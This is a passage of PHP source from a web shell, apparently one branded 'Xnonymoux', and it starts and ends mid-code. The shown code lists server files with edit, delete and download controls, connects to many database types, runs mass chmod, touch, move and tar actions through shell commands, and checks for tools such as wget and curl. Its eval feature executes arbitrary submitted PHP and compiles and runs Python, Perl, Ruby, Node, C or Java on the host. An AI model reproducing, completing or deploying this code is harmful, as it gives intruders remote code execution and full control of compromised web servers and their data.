$s_laction = "<span id=\'titik1\'><a href=\'".$s_self."cd=".pl($s_cwd)."&find=".pl($s_cwd)."\'>find</a> | <a href=\'".$s_self."cd=".pl($s_cwd)."&x=upload"."\'>upl</a> | <a href=\'".$s_self."cd=".pl($s_cwd)."&edit=".pl($s_cwd)."newfile_1&new=yes"."\'>+file</a> | <a href=\"javascript:tukar(\'titik1\',\'\', \'mkdir\',\'newfolder_1\');\">+dir</a></span><div id=\'titik1_form\'></div>";
}
elseif($s_l==".."){
$s_lhref = $s_self."cd=".pl($s_parent);
$s_lsize = "LINK";
$s_laction = "<span id=\'titik2\'><a href=\'".$s_self."cd=".pl($s_parent)."&find=".pl($s_parent)."\'>find</a> | <a href=\'".$s_self."cd=".pl($s_parent)."&x=upload"."\'>upl</a> | <a href=\'".$s_self."cd=".pl($s_parent)."&edit=".pl($s_parent)."newfile_1&new=yes"."\'>+file</a> | <a href=\"javascript:tukar(\'titik2\',\'".adds($s_parent)."\', \'mkdir\',\'newfolder_1\');\">+dir</a></span><div id=\'titik2_form\'></div>";
}
else{
$s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS);
$s_lsize = "DIR";
$s_laction = "<span id=\'".cs($s_l)."_\'><a href=\'".$s_self."cd=".pl($s_cwd.$s_l.DS)."&find=".pl($s_cwd.$s_l.DS)."\'>find</a> | <a href=\'".$s_self."cd=".pl($s_cwd.$s_l.DS)."&x=upload"."\'>upl</a> | <a href=\"javascript:tukar(\'".cs($s_l)."_\',\'\',\'rename\',\'".adds($s_l)."\',\'".adds($s_l)."\');\">ren</a> | <a href=\'".$s_self."cd=".pl($s_cwd)."&del=".pl($s_l)."\'>del</a></span><div id=\'".cs($s_l)."__form\'></div>";
$s_total_dir++;
}
$s_lname = "[ ".$s_l." ]";
$s_lsizetit = "0";
$s_lnametit = "dir : ".$s_l;
}
else{
$s_lhref = $s_self."view=".pl($s_cwd.$s_l);
$s_lname = $s_l;
$s_lsize = gs($s_l);
$s_lsizetit = @filesize($s_l);
$s_lnametit = "file : ".$s_l;
$s_laction = "<span id=\'".cs($s_l)."_\'><a href=\'".$s_self."edit=".pl($s_cwd.$s_l)."\'>edit</a> | <a href=\'".$s_self."hexedit=".pl($s_cwd.$s_l)."\'>hex</a> | <a href=\"javascript:tukar(\'".cs($s_l)."_\',\'\',\'rename\',\'".adds($s_l)."\',\'".adds($s_l)."\');\">ren</a> | <a href=\'".$s_self."del=".pl($s_cwd.$s_l)."\'>del</a> | <a href=\'".$s_self."dl=".pl($s_cwd.$s_l)."\'>dl</a></span><div id=\'".cs($s_l)."__form\'></div>";
$s_total_file++;
}
$s_cboxval = $s_cwd.$s_l;
if($s_l==\'.\') $s_cboxval = $s_cwd;
if($s_l==\'..\') $s_cboxval = $s_parent;
$s_cboxes_id = substr(md5($s_lhref),0,8);
$s_cboxes = "<input id=\'".$s_cboxes_id."\' name=\'cbox\' value=\'".hss($s_cboxval)."\' type=\'checkbox\' class=\'css-checkbox\' onchange=\'hilite(this);\' /><label for=\'".$s_cboxes_id."\' class=\'css-label\'></label>";
$s_ltime = filemtime($s_l);
$s_buff .= "<tr><td style=\'text-align:center;text-indent:4px;\'>".$s_cboxes."</td><td class=\'xpl\' title=\'".$s_lnametit."\' ondblclick=\"return go(\'".adds($s_lhref)."\',event);\"><a href=\'".$s_lhref."\'>".$s_lname."</a></td><td title=\'".$s_lsizetit."\'>".$s_lsize."</td>".$s_owner_html."<td class=\'ce\'>".gp($s_l)."</td><td class=\'ce\' title=\'".$s_ltime."\'>".@date("d-M-Y H:i:s",$s_ltime)."</td><td>".$s_laction."</td></tr>";
}
$s_buff .= "</tbody>";
$s_extract = ""; $s_compress = "";
if(class_exists("ZipArchive")){
$s_extract .= "<option value=\'extractzip\'>extract (zip)</option>";
$s_compress .= "<option value=\'compresszip\'>compress (zip)</option>";
}
if($s_tar){
$s_extract .= "<option value=\'extracttar\'>extract (tar)</option><option value=\'extracttargz\'>extract (tar.gz)</option>";
$s_compress .="<option value=\'compresstar\'>compress (tar)</option><option value=\'compresstargz\'>compress (tar.gz)</option>";
}
$s_extcom = ($s_extract!="" && $s_compress!="")? $s_extract."<option value=\'\' disabled>-</option>".$s_compress:$s_extract.$s_compress;
$s_buff .= "<tfoot><tr class=\'cbox_selected\'><td class=\'cbox_all\'><input id=\'checkalll\' type=\'checkbox\' name=\'abox\' class=\'css-checkbox\' onclick=\'checkall();\' /> <label for=\'checkalll\' class=\'css-label\'></label></td><td><form action=\'".$s_self."\' method=\'post\'><select id=\'massact\' class=\'inputzbut\' onchange=\'massactgo();\' style=\'width:100%;height:20px;margin:0;\'><option value=\'\' disabled selected>Action</option><option value=\'cut\'>cut</option><option value=\'copy\'>copy</option><option value=\'paste\'>paste</option><option value=\'delete\'>delete</option><option value=\'\' disabled>-</option><option value=\'chmod\'>chmod</option><option value=\'touch\'>touch</option><option value=\'\' disabled>-</option>".$s_extcom."</select><noscript><input type=\'button\' value=\'Go !\' class=\'inputzbut\' onclick=\'massactgo();\' /></noscript></form></td><td colspan=\'".$s_colspan."\' style=\'text-align:left;\'>Total : ".$s_total_file." files, ".$s_total_dir." Directories<span id=\'total_selected\'></span></td></tr></tfoot></table>";
return $s_buff;
}
//database related functions
function sql_connect($s_sqltype, $s_sqlhost, $s_sqluser, $s_sqlpass){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli\')) return new mysqli($s_sqlhost, $s_sqluser, $s_sqlpass);
elseif(function_exists(\'mysql_connect\')) return @mysql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_connect\')){
$s_coninfo = array("UID"=>$s_sqluser, "PWD"=>$s_sqlpass);
return @sqlsrv_connect($s_sqlhost,$s_coninfo);
}
elseif(function_exists(\'mssql_connect\')) return @mssql_connect($s_sqlhost, $s_sqluser, $s_sqlpass);
}
elseif($s_sqltype == \'pgsql\'){
$s_hosts = explode(":", $s_sqlhost);
if(count($s_hosts)==2){
$s_host_str = "host=".$s_hosts[0]." port=".$s_hosts[1];
}
else $s_host_str = "host=".$s_sqlhost;
if(function_exists(\'pg_connect\')) return @pg_connect("$s_host_str user=$s_sqluser password=$s_sqlpass");
}
elseif($s_sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($s_sqluser, $s_sqlpass, $s_sqlhost); }
elseif($s_sqltype == \'sqlite3\'){
if(class_exists(\'SQLite3\')) if(!empty($s_sqlhost)) return new SQLite3($s_sqlhost);
else return false;
}
elseif($s_sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($s_sqlhost); }
elseif($s_sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($s_sqlhost, $s_sqluser, $s_sqlpass); }
elseif($s_sqltype == \'pdo\'){
if(class_exists(\'PDO\')) if(!empty($s_sqlhost)) return new PDO($s_sqlhost, $s_sqluser, $s_sqlpass);
else return false;
}
return false;
}
function sql_query($s_sqltype, $s_query, $s_con){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli\')) return $s_con->query($s_query);
elseif(function_exists(\'mysql_query\')) return mysql_query($s_query);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_query\')) return sqlsrv_query($s_con,$s_query);
elseif(function_exists(\'mssql_query\')) return mssql_query($s_query);
}
elseif($s_sqltype == \'pgsql\') return pg_query($s_query);
elseif($s_sqltype == \'oracle\') return oci_execute(oci_parse($s_con, $s_query));
elseif($s_sqltype == \'sqlite3\') return $s_con->query($s_query);
elseif($s_sqltype == \'sqlite\') return sqlite_query($s_con, $s_query);
elseif($s_sqltype == \'odbc\') return odbc_exec($s_con, $s_query);
elseif($s_sqltype == \'pdo\') return $s_con->query($s_query);
}
function sql_num_rows($s_sqltype,$s_hasil){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli_result\')) return $s_hasil->mysqli_num_rows;
elseif(function_exists(\'mysql_num_rows\')) return mysql_num_rows($s_hasil);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($s_hasil);
elseif(function_exists(\'mssql_num_rows\')) return mssql_num_rows($s_hasil);
}
elseif($s_sqltype == \'pgsql\') return pg_num_rows($s_hasil);
elseif($s_sqltype == \'oracle\') return oci_num_rows($s_hasil);
elseif($s_sqltype == \'sqlite3\'){
$s_metadata = $s_hasil->fetchArray();
if(is_array($s_metadata)) return $s_metadata[\'count\'];
}
elseif($s_sqltype == \'sqlite\') return sqlite_num_rows($s_hasil);
elseif($s_sqltype == \'odbc\') return odbc_num_rows($s_hasil);
elseif($s_sqltype == \'pdo\') return $s_hasil->rowCount();
}
function sql_num_fields($s_sqltype, $s_hasil){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli_result\')) return $s_hasil->field_count;
elseif(function_exists(\'mysql_num_fields\')) return mysql_num_fields($s_hasil);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($s_hasil);
elseif(function_exists(\'mssql_num_fields\')) return mssql_num_fields($s_hasil);
}
elseif($s_sqltype == \'pgsql\') return pg_num_fields($s_hasil);
elseif($s_sqltype == \'oracle\') return oci_num_fields($s_hasil);
elseif($s_sqltype == \'sqlite3\') return $s_hasil->numColumns();
elseif($s_sqltype == \'sqlite\') return sqlite_num_fields($s_hasil);
elseif($s_sqltype == \'odbc\') return odbc_num_fields($s_hasil);
elseif($s_sqltype == \'pdo\') return $s_hasil->columnCount();
}
function sql_field_name($s_sqltype,$s_hasil,$s_i){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli_result\')) { $z=$s_hasil->fetch_field();return $z->name;}
elseif(function_exists(\'mysql_field_name\')) return mysql_field_name($s_hasil,$s_i);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_field_metadata\')){
$s_metadata = sqlsrv_field_metadata($s_hasil);
if(is_array($s_metadata)){
$s_metadata=$s_metadata[$s_i];
}
if(is_array($s_metadata)) return $s_metadata[\'Name\'];
}
elseif(function_exists(\'mssql_field_name\')) return mssql_field_name($s_hasil,$s_i);
}
elseif($s_sqltype == \'pgsql\') return pg_field_name($s_hasil,$s_i);
elseif($s_sqltype == \'oracle\') return oci_field_name($s_hasil,$s_i+1);
elseif($s_sqltype == \'sqlite3\') return $s_hasil->columnName($s_i);
elseif($s_sqltype == \'sqlite\') return sqlite_field_name($s_hasil,$s_i);
elseif($s_sqltype == \'odbc\') return odbc_field_name($s_hasil,$s_i+1);
elseif($s_sqltype == \'pdo\'){
$s_res = $s_hasil->getColumnMeta($s_i);
return $s_res[\'name\'];
}
}
function sql_fetch_data($s_sqltype,$s_hasil){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli_result\')) return $s_hasil->fetch_row();
elseif(function_exists(\'mysql_fetch_row\')) return mysql_fetch_row($s_hasil);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($s_hasil,1);
elseif(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($s_hasil);
}
elseif($s_sqltype == \'pgsql\') return pg_fetch_row($s_hasil);
elseif($s_sqltype == \'oracle\') return oci_fetch_row($s_hasil);
elseif($s_sqltype == \'sqlite3\') return $s_hasil->fetchArray(1);
elseif($s_sqltype == \'sqlite\') return sqlite_fetch_array($s_hasil,1);
elseif($s_sqltype == \'odbc\') return odbc_fetch_array($s_hasil);
elseif($s_sqltype == \'pdo\') return $s_hasil->fetch(2);
}
function sql_close($s_sqltype,$s_con){
if($s_sqltype == \'mysql\'){
if(class_exists(\'mysqli\')) return $s_con->close();
elseif(function_exists(\'mysql_close\')) return mysql_close($s_con);
}
elseif($s_sqltype == \'mssql\'){
if(function_exists(\'sqlsrv_close\')) return sqlsrv_close($s_con);
elseif(function_exists(\'mssql_close\')) return mssql_close($s_con);
}
elseif($s_sqltype == \'pgsql\') return pg_close($s_con);
elseif($s_sqltype == \'oracle\') return oci_close($s_con);
elseif($s_sqltype == \'sqlite3\') return $s_con->close();
elseif($s_sqltype == \'sqlite\') return sqlite_close($s_con);
elseif($s_sqltype == \'odbc\') return odbc_close($s_con);
elseif($s_sqltype == \'pdo\') return $s_con = null;
}
if(!function_exists(\'str_split\')){
function str_split($s_t,$s_s=1){
$s_a = array();
for($s_i = 0; $s_i<strlen($s_t);){
$s_a[] = substr($s_t,$s_i,$s_s);
$s_i += $s_s;
}
return $s_a;
}
}
// appearance
$s_theme = "dark"; // default is dark
if(isset($_COOKIE[\'theme\'])) $s_theme = $_COOKIE[\'theme\'];
if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'switch\')){
if(isset($_COOKIE[\'theme\'])) $s_theme = $_COOKIE[\'theme\'];
if($s_theme=="bright") $s_theme = "dark";
else $s_theme = "bright";
setcookie("theme", $s_theme ,time() + $s_login_time);
}
$s_highlight_dark = array("12F729", "0872FC", "87DF45", "EEEEEE" , "FF8000");
$s_highlight_bright = array("11A1EE", "E30F0F", "7820BA", "111111" , "007FFF");
global $s_self, $s_win, $s_posix;
$s_self = "?";
$s_cek1 = basename($_SERVER[\'SCRIPT_FILENAME\']);
$s_cek2 = substr(basename(__FILE__),0,strlen($s_cek1));
if(isset($_COOKIE[\'Xnonymoux_included\'])){
if(strcmp($s_cek1,$s_cek2)!=0) $s_self = $_COOKIE[\'s_self\'];
else{
$s_self = "?";
setcookie("Xnonymoux_included", "0" ,time() - $s_login_time);
setcookie("s_self", $s_self ,time() + $s_login_time);
}
}
else{
if(strcmp($s_cek1,$s_cek2)!=0){
if(!isset($_COOKIE[\'s_home\'])){
$s_home = "?".$_SERVER["QUERY_STRING"]."&";
setcookie("s_home", $s_home ,time() + $s_login_time);
}
if(isset($s_home)) $s_self = $s_home;
elseif(isset($_COOKIE[\'s_home\'])) $s_self = $_COOKIE[\'s_home\'];
setcookie("Xnonymoux_included", "1" ,time() + $s_login_time);
setcookie("s_self", $s_self ,time() + $s_login_time);
}
else{
$s_self = "?";
setcookie("Xnonymoux_included", "0" ,time() - $s_login_time);
setcookie("s_self", $s_self ,time() + $s_login_time);
}
}
$s_cwd = "";
if(isset($_GP[\'|\'])) showcode($s_css);
elseif(isset($_GP[\'!\'])) showcode($s_js);
if($s_auth){
// server software
$s_software = getenv("SERVER_SOFTWARE");
// uname -a
$s_system = php_uname();
// check os
$s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false;
// check for posix
$s_posix = (function_exists("posix_getpwuid"))? true : false;
// change working directory
if(isset($_GP[\'cd\'])){
$s_dd = $_GP[\'cd\'];
if(@is_dir($s_dd)){
$s_cwd = cp($s_dd);
chdir($s_cwd);
setcookie("cwd", $s_cwd ,time() + $s_login_time);
}
else $s_cwd = isset($_COOKIE[\'cwd\'])? cp($_COOKIE[\'cwd\']):cp(getcwd());;
}
else{
if(isset($_COOKIE[\'cwd\'])){
$s_dd = ss($_COOKIE[\'cwd\']);
if(@is_dir($s_dd)){
$s_cwd = cp($s_dd);
chdir($s_cwd);
}
}
else $s_cwd = cp(getcwd());
}
if(!$s_win && $s_posix){
$s_userarr = posix_getpwuid(posix_geteuid());
if(isset($s_userarr[\'name\'])) $s_user = $s_userarr[\'name\'];
else $s_user = "$";
}
else {
$s_user = get_current_user();
}
// prompt style
$s_prompt = $s_user." >";
// server ip
$s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$s_my_ip = $_SERVER[\'REMOTE_ADDR\'];
$s_result = "";
global $s_python, $s_perl, $s_ruby, $s_node, $s_nodejs, $s_gcc, $s_java, $s_javac, $s_tar, $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_java", "s_javac", "s_tar", "s_wget", "s_lwpdownload", "s_lynx", "s_curl");
foreach($s_access as $s){
if(isset($_COOKIE[$s])){ $$s = $_COOKIE[$s]; }
else{
if(!isset($_COOKIE[\'Xnonymoux\'])){
$t = explode("_", $s);
$t = check_access($t[1]);
if($t!==false){
$$s = $t;
setcookie($s, $$s ,time() + $s_login_time);
}
}
}
}
// download file specified by ?dl=<file>
if(isset($_GP[\'dl\']) && ($_GP[\'dl\'] != "")){
ob_end_clean();
$f = $_GP[\'dl\'];
$fc = fgc($f);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($fc));
header("Content-disposition: attachment; filename=\"".basename($f)."\";");
echo $fc;
die();
}
// massact
if(isset($_GP[\'z\'])){
$s_massact = isset($_COOKIE[\'massact\'])? $_COOKIE[\'massact\']:"";
$s_buffer = isset($_COOKIE[\'buffer\'])? rtrim(ss($_COOKIE[\'buffer\']),"|"):"";
$s_lists = explode("|", $s_buffer);
$s_counter = 0;
if(!empty($s_buffer)){
if($_GP[\'z\']==\'moveok\'){
foreach($s_lists as $s_l) if(rename($s_l,$s_cwd.basename($s_l))) $s_counter++;
if($s_counter>0) $s_result .= notif($s_counter." items moved");
else $s_result .= notif("No items moved");
}
elseif($_GP[\'z\']==\'copyok\'){
foreach($s_lists as $s_l){
if(@is_dir($s_l)){
copys($s_l,$s_cwd.basename($s_l));
if(file_exists($s_cwd.basename($s_l))) $s_counter++;
}
elseif(@is_file($s_l)){
copy($s_l,$s_cwd.basename($s_l));
if(file_exists($s_cwd.basename($s_l))) $s_counter++;
}
}
if($s_counter>0) $s_result .= notif($s_counter." items copied");
else $s_result .= notif("No items copied");
}
elseif($_GP[\'z\']==\'delok\'){
foreach($s_lists as $s_l){
if(@is_file($s_l)){
if(unlink($s_l)) $s_counter++;
}
elseif(@is_dir($s_l)){
rmdirs($s_l);
if(!file_exists($s_l)) $s_counter++;
}
}
if($s_counter>0) $s_result .= notif($s_counter." items deleted");
else $s_result .= notif("No items deleted");
}
elseif(isset($_GP[\'chmodok\'])){
$s_mod = octdec($_GP[\'chmodok\']);
foreach($s_lists as $s_l) if(chmod($s_l,$s_mod)) $s_counter++;
if($s_counter>0) $s_result .= notif($s_counter." items changed mode to ".decoct($s_mod));
else $s_result .= notif("No items modified");
}
elseif(isset($_GP[\'touchok\'])){
$s_datenew = strtotime($_GP[\'touchok\']);
foreach($s_lists as $s_l) if(touch($s_l,$s_datenew)) $s_counter++;
if($s_counter>0) $s_result .= notif($s_counter." items changed access and modification time to ".@date("d-M-Y H:i:s",$s_datenew));
else $s_result .= notif("No items modified");
}
elseif(isset($_GP[\'compresszipok\'])){
$s_file = $_GP[\'compresszipok\'];
if(zip($s_lists, $s_file)) $s_result .= notif("Archive created : ".hss($s_file));
else $s_result .= notif("Error creating archive file");
}
elseif(isset($_GP[\'compresstarok\'])){
$s_lists_ = array();
$s_file = $_GP[\'compresstarok\'];
$s_file = basename($s_file);
$s_lists__ = array_map("basename", $s_lists);
$s_lists_ = array_map("pf", $s_lists__);
exe("tar cf \"".$s_file."\" ".implode(" ", $s_lists_));
if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
else $s_result .= notif("Error creating archive file");
}
elseif(isset($_GP[\'compresstargzok\'])){
$s_lists_ = array();
$s_file = $_GP[\'compresstargzok\'];
$s_file = basename($s_file);
$s_lists__ = array_map("basename", $s_lists);
$s_lists_ = array_map("pf", $s_lists__);
exe("tar czf \"".$s_file."\" ".implode(" ", $s_lists_));
if(@is_file($s_file)) $s_result .= notif("Archive created : ".hss($s_file));
else $s_result .= notif("Error creating archive file");
}
elseif(isset($_GP[\'extractzipok\'])){
$s_file = $_GP[\'extractzipok\'];
$zip = new ZipArchive();
foreach($s_lists as $f){
$s_target = $s_file.basename($f,".zip");
if($zip->open($f)){
if(!@is_dir($s_target)) @mkdir($s_target);
if($zip->extractTo($s_target)) $s_result .= notif("Files extracted to ".hss($s_target));
else $s_result .= notif("Error extrating archive file");
$zip->close();
}
else $s_result .= notif("Error opening archive file");
}
}
elseif(isset($_GP[\'extracttarok\'])){
$s_file = $_GP[\'extracttarok\'];
foreach($s_lists as $f){
$s_target = "";
$s_target = basename($f,".tar");
if(!@is_dir($s_target)) @mkdir($s_target);
exe("tar xf \"".basename($f)."\" -C \"".$s_target."\"");
}
}
elseif(isset($_GP[\'extracttargzok\'])){
$s_file = $_GP[\'extracttargzok\'];
foreach($s_lists as $f){
$s_target = "";
if(strpos(strtolower($f), ".tar.gz")!==false) $s_target = basename($f,".tar.gz");
elseif(strpos(strtolower($f), ".tgz")!==false) $s_target = basename($f,".tgz");
if(!@is_dir($s_target)) @mkdir($s_target);
exe("tar xzf \"".basename($f)."\" -C \"".$s_target."\"");
}
}
}
setcookie("buffer", "" ,time() - $s_login_time);
setcookie("massact", "" ,time() - $s_login_time);
}
if(isset($_GP[\'y\'])){
$s_massact = isset($_COOKIE[\'massact\'])? $_COOKIE[\'massact\']:"";
$s_buffer = isset($_COOKIE[\'buffer\'])? rtrim(ss($_COOKIE[\'buffer\']),"|"):"";
$s_lists = explode("|", $s_buffer);
if(!empty($s_buffer)){
if($_GP[\'y\']==\'delete\'){
$s_result .= notif("Delete ? <a href=\'".$s_self."z=delok"."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'paste\' && $s_massact==\'cut\'){
$s_result .= notif("Move here ? <a href=\'".$s_self."z=moveok"."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'paste\' && $s_massact==\'copy\'){
$s_result .= notif("Copy here ? <a href=\'".$s_self."z=copyok"."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'chmod\'){
$s_result .= notif("Permissions ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'0755\' name=\'chmodok\' style=\'width:30px;text-align:center;\' maxlength=\'4\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'touch\'){
$s_result .= notif("Touch ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".@date("d-M-Y H:i:s",time())."\' name=\'touchok\' style=\'width:130px;text-align:center;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'extractzip\'){
$s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd)."\' name=\'extractzipok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'extracttar\'){
$s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd)."\' name=\'extracttarok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'extracttargz\'){
$s_result .= notif("Extract to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd)."\' name=\'extracttargzok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'compresszip\'){
$s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd).substr(md5(time()),0,8).".zip\' name=\'compresszipok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'compresstar\'){
$s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd).substr(md5(time()),0,8).".tar\' name=\'compresstarok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
elseif($_GP[\'y\']==\'compresstargz\'){
$s_result .= notif("Compress to ? <form action=\'".$s_self."\' method=\'post\'><input class=\'inputz\' type=\'text\' value=\'".hss($s_cwd).substr(md5(time()),0,8).".tar.gz\' name=\'compresstargzok\' style=\'width:50%;\' /><input class=\'inputzbut\' name=\'z\' type=\'submit\' value=\'Go !\' /></form>");
foreach($s_lists as $s_l) $s_result .= notif($s_l);
}
}
}
// view image specified by ?img=<file>
if(isset($_GP[\'img\'])){
ob_end_clean();
$s_d = isset($_GP[\'d\'])? $_GP[\'d\']:"";
$s_f = $_GP[\'img\'];
$s_inf = @getimagesize($s_d.$s_f);
$s_ext = explode($s_f, ".");
$s_ext = $s_ext[count($s_ext)-1];
header("Content-type: ".$s_inf["mime"]);
header("Cache-control: public");
header("Expires: ".@date("r", @mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));#
readfile($s_d.$s_f);
die();
} // rename file or folder
elseif(isset($_GP[\'oldname\']) && isset($_GP[\'rename\'])){
$s_old = $_GP[\'oldname\'];
$s_new = $_GP[\'rename\'];
$s_renmsg = "";
if(@is_dir($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "Directory ".$s_old." renamed to ".$s_new : "Unable to rename directory ".$s_old." to ".$s_new;
elseif(@is_file($s_old)) $s_renmsg = (@rename($s_old, $s_new))? "File ".$s_old." renamed to ".$s_new : "Unable to rename file ".$s_old." to ".$s_new;
else $s_renmsg = "Cannot find the path specified ".$s_old;
$s_result .= notif($s_renmsg);
$s_fnew = $s_new;
} // confirm delete
elseif(!empty($_GP[\'del\'])){
$s_del = trim($_GP[\'del\']);
$s_result .= notif("Delete ".basename($s_del)." ? <a href=\'".$s_self."delete=".pl($s_del)."\'>Yes</a> | <a href=\'".$s_self."\'>No</a>");
} // delete file
elseif(!empty($_GP[\'delete\'])){
$s_f = $_GP[\'delete\'];
$s_delmsg = "";
if(@is_file($s_f)) $s_delmsg = (unlink($s_f))? "File removed : ".$s_f : "Unable to remove file ".$s_f;
elseif(@is_dir($s_f)){
rmdirs($s_f);
$s_delmsg = (@is_dir($s_f))? "Unable to remove directory ".$s_f : "Directory removed : ".$s_f;
}
else $s_delmsg = "Cannot find the path specified ".$s_f;
$s_result .= notif($s_delmsg);
} // create dir
elseif(!empty($_GP[\'mkdir\'])){
$s_f = $s_cwd.$_GP[\'mkdir\'];
$s_dirmsg = "";
$s_num = 1;
if(@is_dir($s_f)){
$s_pos = strrpos($s_f,"_");
if($s_pos!==false) $s_num = (int) substr($s_f, $s_pos+1);
while(@is_dir(substr($s_f, 0, $s_pos)."_".$s_num)){
$s_num++;
}
$s_f = substr($s_f, 0, $s_pos)."_".$s_num;
}
if(mkdir($s_f)) $s_dirmsg = "Directory created ".$s_f;
else $s_dirmsg = "Unable to create directory ".$s_f;
$s_result .= notif($s_dirmsg);
} // php eval() function
if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'eval\')){
$s_code = "";
$s_res = "";
$s_evaloption = "";
$s_lang = "php";
if(isset($_GP[\'evalcode\'])){
$s_code = $_GP[\'evalcode\'];
$s_evaloption = (isset($_GP[\'evaloption\']))? $_GP[\'evaloption\']:"";
$s_tmpdir = get_writabledir();
if(isset($_GP[\'lang\'])){$s_lang = $_GP[\'lang\'];}
if(strtolower($s_lang)==\'php\'){
ob_start();
eval($s_code);
$s_res = ob_get_contents();
ob_end_clean();
}
elseif(strtolower($s_lang)==\'python\'||strtolower($s_lang)==\'perl\'||strtolower($s_lang)==\'ruby\'||strtolower($s_lang)==\'node\'||strtolower($s_lang)==\'nodejs\'){
$s_rand = md5(time().rand(0,100));
$s_script = $s_tmpdir.$s_rand;
if(file_put_contents($s_script, $s_code)!==false){
$s_res = exe($s_lang." ".$s_evaloption." ".$s_script);
unlink($s_script);
}
}
elseif(strtolower($s_lang)==\'gcc\'){
$s_script = md5(time().rand(0,100));
chdir($s_tmpdir);
if(file_put_contents($s_script.".c", $s_code)!==false){
$s_scriptout = $s_win ? $s_script.".exe" : $s_script;
$s_res = exe("gcc ".$s_script.".c -o ".$s_scriptout.$s_evaloption);
if(@is_file($s_scriptout)){
$s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
rename($s_scriptout, $s_scriptout."del");
unlink($s_scriptout."del");
}
unlink($s_script.".c");
}
chdir($s_cwd);
}
elseif(strtolower($s_lang)==\'java\'){
if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
$s_classname = trim($s_r[1]);
$s_script = $s_classname;
}
else{
$s_rand = "Xnonymoux_".substr(md5(time().rand(0,100)),0,8);
$s_script = $s_rand;
$s_code = "class ".$s_rand." { ".$s_code . " } ";
}
chdir($s_tmpdir);
if(file_put_contents($s_script.".java", $s_code)!==false){
$s_res = exe("javac ".$s_script.".java");
if(@is_file($s_script.".class")){
$s_res .= exe("java ".$s_evaloption." ".$s_script);
unlink($s_script.".class");
}
unlink($s_script.".java");
}
chdir($s_pwd);
}
}
$s_lang_available = "<option value=\'php\'>php</option>";
$s_selected = "";
$s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac");
foreach($s_access as $s){
if(isset($$s)){
